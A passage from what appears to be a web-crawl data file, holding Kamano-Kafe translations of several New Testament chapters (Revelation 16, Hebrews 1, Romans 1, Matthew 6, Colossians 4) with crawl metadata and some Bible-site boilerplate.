tíyénesa tiráawe. 15 kemá Yóni simátimeꞋa séꞋa Ísu séna umóyán-kwáásímó timbó ímo ísaraawanamo tintembá íma ísarenkaꞋa kúmónda simuꞋmarésa unáánkwátói úmaresa máyaiyawai íma unáánkwátói-iyaaintavesa tigaemá ónááowe Ísu siráiye kemá Yóni súne. awánaawaanda 16 minkákémbá kawáá-kwáásí tíꞋmaesa moórá-ayampaꞋa máúpaꞋa Yútaa-kwaasi tááivinkemba Ípíru-aimpinkemba Áámágétoni-maravare kwésesa torupamái méraawe.\n17 máyówana mináváꞋmóráénárawa tínaaembo máyowai kwená táávepinkemba úndámo torópaꞋa ayáúsuwowana moóráwai monoꞋ-náúmpáꞋá kawááin-avarakemba anónkaꞋa séna amápaꞋ-mayai ánásagwiye súwana 18 kwíyónaai kwésuwana awairái kwésuwana tawáomba kwéuwana anóm-barima téna marapáꞋá kwaási máyónkakene ívékwaraꞋo máyáankare mirám-bárímá íma kwétena 19 anón-daopaꞋa kaumboráꞋá maramá kítíraaꞋa uréna tawákaaꞋa úwana amápaꞋ-maravaꞋa anón-daopimpaꞋa tawisínaawisi úwana Áánútu Pépíróni-anon-daopaken-kwaasi sáwíꞋa umbá Áánútu imáyáa éna áwááꞋa tiyéna miwítí sáwí-meyamba anómba timúwana 20 nonavuvumpaꞋ-márámá amápaꞋa nawíkasuwowana omátomba arúwáásé umágúwana 21 kwíyómpakemba anón-umbai tain-óntánkáámbá kaaíyaramba kuména kwaási tínkamuwasa Áánútumba simái sáwíꞋa umánkaraawe. anón-kaaiyaramba anómba sáwí-meyamba timúntavesa Áánútumba simái sáwíꞋa umánkaraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.16","date":"2018-09-21T04:04:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156780.2\/warc\/CC-MAIN-20180921033529-20180921053929-00133.warc.gz","language":"kze","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999804496765137}","num_words":379,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ípíru\nÍsu kwíyómpa'a irówana moóráwai áwí'a íma agaimakáiwai moórá-kwaai aíyayaan-umai sísamaivakemba avakaeté-iya'iyo. miráumai-ima maisuwéna maanáímbá agaimái Yútaa-kwaasi moórá-kwi'a Ípíru-kwaasi Ísun-aai isésa kwená aampa'ó kwéguntavai tuwíráái sésa sáwí'a umátínkówasa minámbá ivátuwesa ááéraam-bonor-amba ókwara'a kwáráavo séna maarán-áímbá agaimái mátímakaiye.\nÍsu Áánútu ááninkoma Mósesimba usáyaaitaraiye. Ísu aiva'-mónó-káwáánákómá mono'-máyáí-kwáásí usáyaaitaraiye. póí tuvú'mái Áánútumba ámakaamba aiva'-mónór-ámbá isaná Ísu marapá'á kumbéna kentáásí sáwí-imayaa maisiyuwáníntavai puwéna kwenáúma Áánútumba ámakaimba póna kentáásí monor-ámbá kwikáimba pó'a Ísumba íma auwé'a asiramái máéro séna agaimái mátímakaiye.\n1\nÁánútu ááninko áwíkoma kwíyómpaken-kwayo'narawa túwíkomba usáyaaitarain-kwasai.\n1 naaóvá'á moórá-mora-tawai Áánútu kwenáái simátímakowaiyavena súwasa miwí Áánútu siráin-aimba mirám-biran-aimba kentáá síkwá'náyomba simátíma'mae tiráimba isaná 2 ívé'a naaén-kanaavimba Áánútu ááninko Áánútun-aai simásímakaintaawe. naaóvá'á kwíyómba maramá íma kwáyonka'a Áánútu súwana ááninko kwíyómba maramá tarórumakena naaémba amápa-tantaaka'a kárákwiyiniye. 3 Áánútuna ságayanko ááninkompinkemba sáma kaisaná Áánútumo máyáintemba miráumai ména miráumaimo máyáiwai kentáá kwéagaraasinkaisana kwená asirayán-áínkóntávéna kwíyómba maramá kwaíkwai'a kwéiye. kwemá pukáintavena kentáásí sáwí-imayaa maisiyuwéna pukáimpinkemba usásinena kwíyómpa'a iyéna Áánútu asirayámbó usáyaaitaraiwai ayáánúrapa'a asirayán-áyámpá'á mara'á ména 4 póna kwenáwí'a Áánútu ááninko áwíko póna Áánútuna kwíyómpaken-kwayo'narawa túwíkomba usáyaaitaraiye.\n5 Áánútu kwená kwíyómpaken-kwayo'narawatavena íma siráivo ááninkontavena séna\nemá kesáánimba óna'a\nkesí mayáírá'á ánkaraumne\nÁánútu séna moórá-ainkwara'a séna\nkemá avowámá úmae íyónana kwemá\nkesááninko mirá úmae iyíníye\nséna kwíyómpaken-kwayo'narawatavena íma siráivo ááninkontavena séna 6 Áánútu kwenááninko usáyaaitaraiwaimba ai'marówana kunkáinka'a séna\nÁánútuna kwíyómpaken-kwayo'narawa'a\nkwená imáyáa mósá maránááowe\nkwenááninkontavena siráimbanivo 7 kwená kwíyómpaken-kwayo'narawatavena súwana Áánútun-aai aúváí-kwandaaivimba agaimaréna séna\nkemá súnasa kesí kwíyómpaken-kwayo'narawa'a úndáraamba to'maésa kwénaaowe. kemá súnasa kesí kwayó'nárawa'a tawáombo intenkáám-báyáí kwémayaawe\nsiráivo 8 Áánútu kwenááninkontavena séna\nÁánútuwo kwaásira'o kárákwimaemo íyínda íma ánásaniye. kárákwiyonda arupí umái kwégarakwiyone. 9 kawe-tántáátáváí aamoí é sáwí-yantaatavai áyámba kwéone. mindáyavena Áánútu ená Ísóigo embá usásinankaraisa amáparawai usáyaaitaraanana enarumbá kawe'á umánkaraiye\nséna 10 ááninkontavena moórá-aimba séna\nÍsóigoo ááinka'a maramá taróre enayáándei kwíyómba taróruraanda 11 mintántáá'á ánásaina emá maí'mai'a íníyone. unáánkwátóimo atúmó kénamo ánásaintemba kwíyómba maramá miráumai ánásaniye. 12 kwátóimo tavúmáráantemba kwíyómba maramá mirá íníyone. unáánkwátóimo aúnámo ontembá kwíyómba maramá mirá éma ívé'o máyáanten-umai maí'mai'a éma íma puwíníyone\nsiráiye. 13 Áánútu maanáímbá íma kwíyómpaken-kwayo'narawatavena siráivo ááninkontavena séna\nkesiyáánúrapa'a asirayán-áyámpá'á mara'á uména'a ená namuro-kwáásí tínkamona emá usáyaaitaniyone\nsiráiye.\n14 mináímbá siráivo Áánútuna kwíyómpaken-kwayo'narawa'a nórandarawara'o. miwí íma túma kwáyáiwai timané su'mai kwáyáiwai ésa Áánútumo sintembá mirá kwéowana Áánútu simátimena séna kawer-ámpá'á métinkaunda-kwaasi kuntúwa'naa oro séna kwéti'maraiye. mindáyavena Áánútu ááninko áwíko kwíyómpaken-kwayo'narawa túwíkomba usáyaaitaraiye.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/png.bible\/kze\/HEB01.htm","date":"2022-06-29T03:34:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103620968.33\/warc\/CC-MAIN-20220629024217-20220629054217-00720.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":353,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Árómáa\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaamba avakaeté-iya'iyo. miráumai-ima maisuwéna Kórínti-naopa'a ména maanáímbá agaimái Árómáa-naopa'a máyón-kwaasi agaimái moórá-ininko áwí'a Vípimba amúwana mátímakaiye. Árómáa-naopa'a kámááni-kwaasiti aiva'-náópa'a Ítári-marava'a kwáyon-daopa'an-iye. Póro Árómáa-naopa'a kwíníyena póna Ísuna aampa'ó kwégun-kwaasivimba mayáí mayáníyena póna miwí túwa'naa umai to'mayaa umátinkanae séna maarán-áímbá agaimái Vípimba amúwana mátímakaiye. Yútaa-kwaasiye ó'onkaa-kwaasiye amáparawai sáwí'o úmae kwégon-asirayanko tátokowana Ísun-aaiyavai áraire sewáíyé su'maiyavai arupí umái máyáawe Áánútu siráiye. Áánútun-amankoma sáwí'o úmae kwégon-asirayanko tátokaimpinkemba iyátínkáísasa Ísuwe tarúmai aúnái'a umái kwémaewe. Áánútuna ámáánkona mayáí-áínkwárá'á agaimái amúwana mátímakaiye.\n1\n1 kemá Póro Ísu Káráísitina mayáí-kwáásígó é'a maanáímbá agaimaráúmpo ísáaro. Áánútu kembá aantá-kwaasi ítámarena séna kesáái áséi-kwasai kosimátíma'mae naauwó séna si'mákaiye. 2 naaóvá'á Áánútu kwenáái simátímakowaiyavena mináséí-kwásáí simái asirámakain-aimba súwasa aúváí-kwandaaivimba agaimakáawe. 3 mináséí-kwásáí Áánútu ááninko kentáásí Ísóigo Ísu Káráísitintavesa simái agaimakáawe. kwemá kwaásimo kunaúkáimba anóndako áwí'a Tévíti aísaavutantamba uráiwaiman-iye. 4 kwenamankó Áánútunopakemba póna Áánútu kwembá pukáimpinkemba usásinankaraintaveta minánón-ásíráyámbá awánéta séta Áánútu ááninkoman-iye kwésune. 5 ó'on-o'om-baravaken-kwaasi kwenááiyavesa áraire sésa taagwiyavónááontavena Áánútu Káráísitimba imáyáa amúwana kentávéna séna kesáái kosimátíma'mae naauwó séna kawe'-máyáí símakaiye. 6 Ísu Káráísitina kwaási-i'a ónááontavena Áánútu tááyena keinárawa'a Árómáa-naopa'a máyáawaigwara'a tááyaraiye. 7 mináíntávé'a imáyáa kwée'a maanáúváí agaimaráúmpo ísáaro. keinárawa'a Árómáa-naopa'a máyáawai Áánútu arumbá kwétimena kwená kwaási-i'a ónááontavena tááyaraiwai ísáaro. Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwa'naa ésarai paru kwéumatinkaayantave'a námúnaa kwésune.\nÁrómáa-naopa'a kónáe siráin-kwasai.\n8 keinárawa'a Ísu Káráísitiye aráápamai máyáan-ainko amápar-ayampa-kwaasiva'a kóyáwé isasá ísááwa'a Ísu Káráísitina mayáíyávé'a imáyáa é'a Áánútumpa'a súwi kwésune. 9 Áánútuna mayáí karuwaa'á umái kwémae'a ááninkon-aai áséi-kwasai kwésimatime'a keinárawatave'a námúnaa símae kwéiyunda Áánútu kwéisaiye. 10 kentópa'o ímo kúndayave'a sé'a Áánútumpa'a áísaa úmae iyé'a arááímo táínamo e aambá kwisínkéna'a Árómáa-naopa-kwaasiye komáéno kwésune. 11 Áánútun-amanko kwésuwa'naa-isa'a kotúwa'naa ona'á kwenááiyave'a asiramái imáyáa ónááontave'a kentópa'a kónáe sé'a kwéune. 12 mirámó ína'o é'a keinárawa'a túwa'naa ona'á kembá súwa'naa ónááowe. Ísu Káráísitintave'a imáyáa kwée'a túwa'naa ona'á kembá mirá ónááowe.\n13 kesí kwaásiyono. kentópa'o ímo kúndayave'a sáwí-imayaa ováínivo maanáímbá ísáaro. sáwíva-kanaa kónáe sé'a únda moórá-yantaako tátoraisa'a máyaumne. ó'onkaa-kwaasivimbo Áánútuna aambó agaráátinkaawanasamo kwakáantemba keinárawa'a ó'onkaa-kwaasi owa'á mirá ónáe sé'a kwéune. 14 Áánútu súwa'naa uráintave'a sáwíva-kwaasi anón-daopare sáwíyan-daopare amápar-aimbo ísaraawaiye ímo ísaraawaiye túwa'naa onó. 15 mirámó únda Árómáa-naopa'o máyáan-kwaasi áséi-kwasai kosimátimenae sé'a kwéune.\náséi-kwasaigona asirayán-kwásáí.\n16 áséi-kwasaiyave'o ímo sigaeyávé'o kwéunda maarán-áímbán-iye. áséi-kwasaiyavesa árairemo kwésewai Áánútu kwená asirayándéí miwítí sáwí-imayaagomo tátokaimpinkemba kwéiyatinkaiye. aiva'á Yútaa-kwaasi ísaraawasa naaémba ó'onkaa-kwaasi kwéisaawe. 17 Ísu Káráísitin-aaiyavetaamo áraire kwésundayavenaya mindáyavenawe su'mai Áánútu séna arupí umái máyáawe kwésisata kwenaúranka'a arupí umáíya máyaumne. áséi-aimpinkemba mirán-áíntá ísaraumne. mindáyavena naaóvá'á Áánútun-aai aúváívimba agaimaréna séna\nÁánútun-aaiyavesa áraire kwésentavena\nÁánútu séna arupí umái máyáawe kwésimba\npósa aúnái'a umái kwémaewe\nagaimaréna siráiye.\nÁánútumba tínaaemba umámakaan-kwasai.\n18 Áánútu maanáímbá agaráásínkaraiye. marapá-kwáásí sáwí-imayaa ésa sáwí'a ésa mirámó kwéomba Áánútuna árair-ainkona aambá áúmbakaamba póna Áánútu áwáá'a séna kwíyómpakemba sáwí-meyamba timíníye. 19 Áánútu kwená ááimba íma aúpá'á maréna avora'á agaráátínkaraimba marapá-kwáásí awánésa íma imáyáa uráamba póna sáwí-meyamba timíníye. 20 Áánútu maramó tarórurainkakene minavumpinkéné Áánútuna ááimba awánésa kwená asirayámbó kwaíkwai'o kwéin-asirayamba kawe'á umái awánésa Áánútun-ane'a túrandei íma kwéawanaambanivo kwená ááimba á'a kwéisaawe. Áánútu tarórurain-tantaa'a awánésa pósa kwemó máyáin-aimba kanaán-umai kwéisaawe. mindáyavesa sáwí'o kwéomba miwítí ááinko isasá sáwí'a kwéowe. 21 Áánútu máyáin-aimba ísaraambanivo ivátuwesa kwenáwí'o mósá marésamo árai'a máyáiye seráámbá íma mósá marésa súwi íma sésa ivátuwesa kaé'náer-imayaa kwéesa túnkain-ayampar-imayaa kwéesa 22 kampa'á sésa kawer-ímáyáágwárá-kwáásíyá úne sembánivo sáwí-imayaagwara-kwaasi ésa 23 Áánútu maí'mai'a kwéiwaina imáyáa íma mósá marésa kwaási áúwawaakaamba numamá kwaí-kwaamba iraankavayaambá tarórumakesa mintántáákóná imáyáa mósá kwémaraawe.\n24 kwaási mirá-sáwí'á kwéontavena Áánútu ánaaemba umátimena séna sáwí-imayaayave'o tirááíyave'o ónááomba úwoi mirán-oro siráisasa miwívímbá miwí túma sáwí'a kwéowe. 25 Áánútun-aai árair-aimba araaisésa kampar-áímbá kwégwaresa Áánútu amápa-tantaa'a taróruraiwaina imáyáa íma mósá marésa kwená mayáí íma kwémaesa kwemó uráin-tantaakona imáyáa mósá marésa mintántáákóná mayáí kwémayaawe. Áánútu áwíre su'mai mósá márááraamba árai'a mindá íma mósá kwémaraawe.\n26 kwaási mirá-sáwí'á kwéontavena Áánútu ánaaemba umátimena séna sáwí-imayaayave'o tirááíyave'o ónááomba úwoi mirán-oro siráisasa aaraí tuwai'máá'a tiyuwésa keíyái kesuwainíné sisaná kesuwairé sésa sáwí'a úmae nááówasa 27 kwaaí miráumai tuwainímbáá'a tiyuwésa keíyái kesuwainí kesuwai símae kwénaaesa mirá-sáwí'á úmae kwénaaontavena Áánútu miwí túra'a sáwí-meyamba arupí umái kwétimiye.\n28 Áánútu kwenáái árair-aimba arááíséntavenawe séna ánaaemba umátímísana miwítí sáwí-imayaago táái tinkéna isasá kentí imáyáavinkeni'o kwéomba uwóví'a kwéowe. 29 ó'on-o'o-sawi-imayaago miwívímbá anómba isasá sáwí'o kwéomba íma agandésa túran-anda ésa sáwí'a umátinkesa kawe'-máyáímó kwémayaantavesa tirunkó simái sáwí'a kwéumatinkesa tínkamowasa púwówasa aaisambá sésa kampa'á simátiyuwesa simái sáwí'a kwéumatinkesa kwantánaanta-aimba símae kwénaaesa 30 túwí'a kumínkwáe sésa kampar-áímbá kwésesa Áánútumba tíyámba kwéumankesa sáwí-aimba kwésimatinkesa kampa'á sé'a anón-kwaasiya úne sésa túma maé iyésa aúná-sawi-mayai mayánáe sésa mirá ésa tinóvowi táái araaisésa 31 tirumpimbá kawer-áímbá íma kwáyáísasa simáímo asirámakaini'a íma ésa miwítí kwaásiti imáyáa íma ésa tirumbá íma umátinkesa mirámó kwéomba 32 Áánútu ámáámba símarena séna mirá-sáwí'ó kwéowai puwónááowe siráimba isésa íma ivátúwáamba mirá úmae iyésa íma agandésa mirámó kwéowaiyavesa aamoí kwéowe.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/png.bible\/kze\/ROM01.htm","date":"2022-12-01T10:44:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710808.72\/warc\/CC-MAIN-20221201085558-20221201115558-00091.warc.gz","language":"kze","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"kze_Latn_score\": 1.0000091791152954}","num_words":717,"character_repetition_ratio":0.055,"word_repetition_ratio":0.017,"special_characters_ratio":0.164,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"6\nkwétuwa'naa-on-kwasai.\n1 Ísu mináímbá simásuwena séna évakarawaiyave'a tirumbá umátinke'a túwa'naa ónááomba íma maarán-ímáyáá é'a kwaási máyaiyanka'a kwétuwa'naa-onasa anón-kwaasiman-iye sígwáe-imayaa íma é'a úwoi túwa'naa oro. mirán-ímáyáámó kwée'o túwa'naa íyanamo éna kentivo kwíyómpakewai kawe'-méyámbá íma timíníye. 2 óísambo ímo makáawaimo túwa'naa ónááomba kwaási aamoí umásinkaigwae-imayaa íma é'a íma anónkar-anonka'a síyamba úwoi túwa'naa ónááowe. kaumbo-káér-ainkwara-kwaasi mono'-náúmpáré aamparé kwirésa anónka'a sembá óísambo ímo makáawaimo tímémba íma miwítí imáyáa ombá kwétimesa kesúwí'a mósá maráígwáe sésa kwétimewe. árai'a simátime'a sé'a mindámo tímén-anonda miwí túwí'o mósá máráamba á'a mimbéyámbá kwémayaawe. 3-4 óísambo ímo makáawaimo túwa'naa ónááomba kesí kwaási suwánaavo sé'a kwaásimo ímo máyaiyanka'a túwa'naa oro. mirámó ombá kentivo aúpá'ó kwéomba tuwánaiwai póna kawe'-méyámbá timíníye Ísu siráiye.\nÁánútumpa'a námúnaa kwésen-kwasai.\nÁrúku 11:2-4\n5 Ísu mináímbá simásuwena séna Áánútumpa'a námúnaa sénááomba kaumbo-káér-ainkwara-kwaasimo sentembá íma mirá oró. miwí sésa kwaási suwánésa aamoí umásinkaigwae-imayaa ésa mono'-náúmpá'á mésa kwaásimo tóyo on-áyámpá'á mésa námúnaa kwésewe. árai'a simátime'a sé'a miwímó mirámó kwéon-anonda miwí túwí'o mósá kwémaraamba mimbéyámbá kwémayaawe. 6 miwí mirá kwéovo Áánútumpa'a námúnaa sénááomba kentí naaúmpa'a keináraware su'mai umé'a kentivombó ímo ane'ó awánaraawaimpa'a námúnaa síyana aúpá'ó kwéomba tuwánaiwai póna iséna kawe'á umái túwa'naa íníye. 7 Áánútumpa'a námúnaa sénááomba úwoi-ainkaamba íma simái tavisénaaowe. Áánútuna aambó ímo kwáráawai sésa tavisimái-ainta senanayá súwa'naa íníye sésa úwoi-ainkaamba simái kwétavisevo 8 íma mirá oró. kentivombó Áánútumpa'o mirám-baaran-aintave'o kwéaisaa-e'o súwa'naa íníyemo síyamba á'a awánaraimba póna túwa'naa íníye. 9 Áánútumpa'o aaí sénááomba maará sé'a\nkentáásivoo kwíyómpa'a máyaandawai óne. enáwí'a usáyaaitarain-awita mósá kwémaraumne. 10 kentáárá'á kawááuwoya kwésune. kwíyómpakewaimo embó arááímo tainí'o ontembá súwa'naa inatá póta marapátá máyaundawaiya embó arááímo tainíta ónaumne. 11 ívé'a kentáásí toóntá simiyó. 12 kwaásimo sáwí'o kwéumasinkewata mindáyaveta anondá íma sáwí'a umátinketa ivátá kwétuwaanaya miráumaiya kentáásí sáwí-imayaa maisiyuwaaó. 13 sáwí'a ígwáe sésamo kentáámó íyambo e súwa'naa íníyone. Sáátáánigo kentáá tátoraivo se kárákwiyiniyone. [ ená kwaásimo kawááúmae kwéiyonana ená asirayámbá kwaíkwai'a úmae kwéiyisana enáwí'a anómba úmae kwéiyimba árair-aimban-iye.] mirán-áímbá Áánútuwe seró.\n14 sáwí'o umátínkaraamba ímo anondámo sáwí'o é'o ivátuwaiyanamo éna kentivo kwíyómpakewai keinárawa'o sáwí'o kwéomba túwa'naa ena maitiyuwánívo 15 sáwí'o umátínkaraamba úwoimo imáyáamo úmae iyé'o ímo ivátuwaiyanamo éna kentivo kwíyómpakewai keinárawa'o sáwí'o kwéomba íma maitiyuwáníye Ísu siráiye.\ntoómbó auweson-kwásáí.\n16 Ísu mináímbá simásuwena séna Áánútumpa'o námúnaawe su'mai sé'a toómbá kwéawesomba asósóí-kwaasimo ontembá íma mirá oró. miwí sésa kwaási suwánésa sésa kawe'á ésa toómbá kwéawesowe sígwáe sésa toómbó ímo naanten-tóí'á ma'mái kwémaewe. árai'a simátime'a sé'a miwítí meéyámbá miwí túwí'a mósá kwémaraam-beyamba á'a mairáawe. 17 miwí ésa mirá kwéovo keinárawa'a toómbá kwéawesomba tói'a kwisuké'a ti'nóntáu paasá tumái kawe'á úmaraiyasa 18 kwaási tuwánésa toómbá kwéawesowe íma síyana kentivo tuwánéna kawe'-méyámbá timíníye. kentivon-ane'ó ímo awánaawai aúpá'ó ombá awánaiwai kawe'-méyámbá timíníye Ísu siráiye.\nkwíyómpa'a kawe-tántáákóná kwaasái.\nÁrúku 12:33-34\n19 Ísu mináímbá simásuwena séna marapá'ó máyáamba sáwívar-oisamba íma máráaro. maráíyan-oisamba avíyaraamba káínana kwaígo náínana atún-káínasa mindámbá sáwí'a umásuwesa umóyámbá mayánááovo sáwívar-oisamba íma maré'a 20 kawe'-máyáí mayáíyana kentí kawe-tántáá'á kwíyómpa'a kwéniye. kwíyómpa'a kwáyáimba avíyaraamba íma káínana kwaígo íma náínana atú íma káínasa kwaási íma umóyámbá mayáíyana úwoi kwéniye. 21 marapá'ó kentí óísambo kwáyainanamo éna marapátávéna tinkánívo kwíyómpa'o kentí óísambo kwáyainanamo éna kwíyómpatavena tinkáníye Ísu siráiye.\ntúranko kentí imáyáavimbo sámo kwégain-kwasai.\nÁrúku 11:34-36\n22 Ísu mináímbá simásuwena séna túranko kentí imáyáavimbo sámo kaí-yántáá'án-iye. túrankomo kawe'ó umáímo awánáínanamo éna amápar-imayaa sáma kánívo 23 túrankomo ímo kawe'ó umáímo awánáínanamo éna amápar-imayaa túnkwiniye. marapá-tántááré su'mai imáyáamo íyanamo éna keinárawapimbo sámo kaí-yántáá'ó ímo kwénamo éna tuní-yántáákó anómba umái kwéniye Ísu siráiye.\nóntantavena Áánútuntavena siráin-kwasai.\nÁrúku 16:13\n24 Ísu mináímbá simásuwena séna íma kanaán-umai kae-káwáá-kwáásítí mayáí kwémayaawe. mirámó ésamo ésa moóráwaimba aamoí ésa moóráwaimba íma aamoí umánkanaaowe. mirámó ésamo ésa moóráwaina mayáí kawe'á umái maésa moóráwaina mayáí sáwí'a umái mayánááowe. miráumai Áánútuna mayáímó maé'o é'a sáwívar-ontamba mayánaumne-imayaa íma úmae iyónááowe. sáwívar-ontamba mayánaumne-imayaamo é'o é'a Áánútuna mayáí íma mayánááowe Ísu siráiye.\nmáyáantavai íma anón-imayaa oró-kwásáí.\nÁrúku 12:22-31\n25 Ísu mináímbá simásuwena séna mináímbá imáyáa é'a simátime'a sé'a máyáamba íma anón-imayaa é'a toómbó nánááontave'a íma anón-imayaa é'a kentúra'o unáánkwátóimo ónááontave'a íma anón-imayaa oró. toómbó nánááomba úwoisambanivo kwaásimo máyáamba anón-tantaa'an-iye. unáánkwátói ónááomba úwoisambanivo kwaási túma anón-tantaa'an-iye. 26 numagómpá'á imáyáa oró. numaó íma kígau kwéena toómbá áká'mai naaúmpa'a makéna nánívo kentivo kwíyómpakewai miwítí toómbá tímísasa kwénaawe. Áánútu aúranka'a kemá kwaási numaómbá usáyaaitaraamba póna kentí toómbó éna timíníye. 27 keinárawa'o anón-imayaamo é'o é'a maíyan-kanaama íma kanaán-umai ayáátááka'a ménaaowe.\n28 unáánkwátói ónááontave'a íma anón-imayaa é'a kwaigwandáánká'á imáyáa oró. kwaigwandáánkó íma kígau éna íma kwená unáánkwátói makáivo 29 simátime'a sé'a naaóvá'á Yútaa-kwaasiti anóndako áwí'a Sórómoni kwemá sáwívar-unankwatoiye konaariríyé makówai úwasa kwaási awánésa kawe'án-iye sumbánivo kwaigwandáán-aramba awánésa anón-kawe'an-iye kwésewe. 30 uvá'á konaarirí-yántááré séna kwaigwandáámbá Áánútu uvá'á makáiye. umá íma kwaíkwai'a ínívo ívé'a ínasa aaváyaa kwaási agaisúwánááomba Áánútu mintántáá'á imáyáa kwéena konaarirí-yántáá'á makáiye. miráumai Áánútu kwaásiyavena imáyáa éna kentí unáánkwátói timínívo keinárawa'a Áánútuntave'a íma kanaán-umai kwésuwa'naa-iwaiman-iye ímo seráámbá kwésewe. 31 Áánútu kwétuwa'naa-imba pó'a toómbó nombó nánááontave'a íma anón-imayaa é'a unáánkwátóimo ónááontave'a íma anón-imayaa oró. 32 Áánútuna aambó ímo kwáráawai toómbó nombó nánááontavesa anón-imayaa kwéowe. toómbó nombó ímo kwéne'o e'a puwónááontavena kentivo imáyáa éna kwétimivo imáyáa íma anón-imayaa kwée'a 33 Áánútumo kwená kwaásimo kawááintave'a aiva'á imáyáa é'a kwembó arááímo tainí'o kwéontave'a imáyáa é'a mirámó owaná mintántáá'á kwétimiye. 34 ayunkáwe aaváyaawe paárinin-tantaatave'a íma anón-imayaa íyana tirunkó umbaí táíno. ívé'a kwáyáin-tantaatave'a imáyáa é'a aaváyaamo paárinin-tantaa'a awáné'a imáyáa é'a moórá-tawai moórá-tawaimo paárinin-tantaa'o awánaantemba imáyáa oró Ísu siráiye.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/png.bible\/kze\/MAT06.htm","date":"2023-03-25T16:41:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945368.6\/warc\/CC-MAIN-20230325161021-20230325191021-00528.warc.gz","language":"kze","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000077486038208}","num_words":803,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"4\n1 meéyámbakaan-kwaasiti anon-kwaasi ísáaro. kentí mayáí úwoi kwémayaan-kwaasira'a arupí umái kawe'á umái kárákwire'a maarán-áímbá imáyáa oro. miwítí anóndakoe kentí anóndakoe mimbóráwáímá éna kwíyómpa'a máyáivo arupí umái kárákwiyoro.\nnámúnaa sésa arupí umái maésa owáíná kwaasái.\n2 amáparawai ísáaro. námúnaa símae kwéiye'a mirá kwéomba íma ó'on-o'on-imayaa é'a námúnaamo kwésen-imayaa é'a Áánútumpa'a súwi seró. 3 námúnaamo kwésemba kentááyáváígwárá'á súwa'naa umai seró. Áánútumba áísaa íyana aambá kwiyínata áséi-kwasaiya simátimenaumne. mináímbá aúpá'á makéna agaráátínkaraimba mináínkóná ááimba Ísu Káráísitiman-iye. aúpá'ó makéna agaráátínkarain-aimba simátimewandarakemba áwáá'a siyésa ándáva'a mósínkaraawe. 4 Áánútu mimbáyáí símakowa'a mairáundanivo kwenáái avora'á simátimenaundayave'a súwa'naa umai námúnaa seró.\n5 Áánútumpa'a íma tamáyáan-kwaasivimba kawer-imáyáávínkémbá kawe'á umái mé'a kanaamó kwáyaindara'a miwívímbá Áánútuna mayáí maimaé íyóro. 6 aaimó kwésemba kawer-áíné áséi-aine su'mai kwésemba pósa tísaa íyamba anondámo simátimiyan-aimba íma avakáá é'a áséi-aine su'mai simátíméro.\n7 kentáásí kwaásigo áwí'a Tikikása kwená imáyáa kwéundawai kentópa'a kweémena kesáái amápa'a kosimátiminiye. kesáámó úndantemba Ísóigona mayáí-kwáásí ména mimbáyáí íma ivátuwena kawe'á umái kwémaena 8 kentáásáái kosimátimena asiramátinkanintave'a ai'maráúnana kentópa'a kweémena kwíníye. 9 moóráwai kentí naaópakewai áwí'a Ónísímasi kwemá kentáásí kwaásigo éna kwená imáyáa kwéundawai kawe'-máyáí kwémayaiwai kwesé kwémesarai kentáávímbá paárurain-tantaakon-aai kosimátimeyaaoiye.\n10-11 moóráwai áwí'a Árísítakasi kesé ándáva'a máyáiwai keinárawatavena séna kawe'á umái máéro kwésisana Páánápáasi anáávéígo áwí'a Mááka keinárawatavena séna kawe'á umái máéro kwésisana moóráwai áwí'a Yósúwa moórá-kwi'a Yásátasi keinárawatavena séna kawe'á umái máéro kwésiye. ké'naamba maanáímbá simátime'a sé'a Máákaamo kentópa'o kwémenamo kwínímbo é'a kawe'á umánkáaro kwésune. Yútaa-kwaasi Ísu Káráísitiye tarúmaimo máyáampinkemba minkáúmbó-kwáásíyé su'mai kesé mayáí kwémaesa Áánútumo kárákwiraipa'o kwaásimo ménaaontavesa kesé mayáí kwémaesa kwéasiramasinkaawe.\n12 moóráwai kentí naaópakewai áwí'a Épávarasi keinárawatavena séna kawe'á umái máéro kwésena kwemá Ísu Káráísitina mayáí-kwáásí éna keinárawa'a túwa'naa umai asiramái námúnaa símae kwéiyena Áánútumpa'a maarán-áímbá kwésiye. Áánútun-aai asiramái táto'mai kawe'á é'a 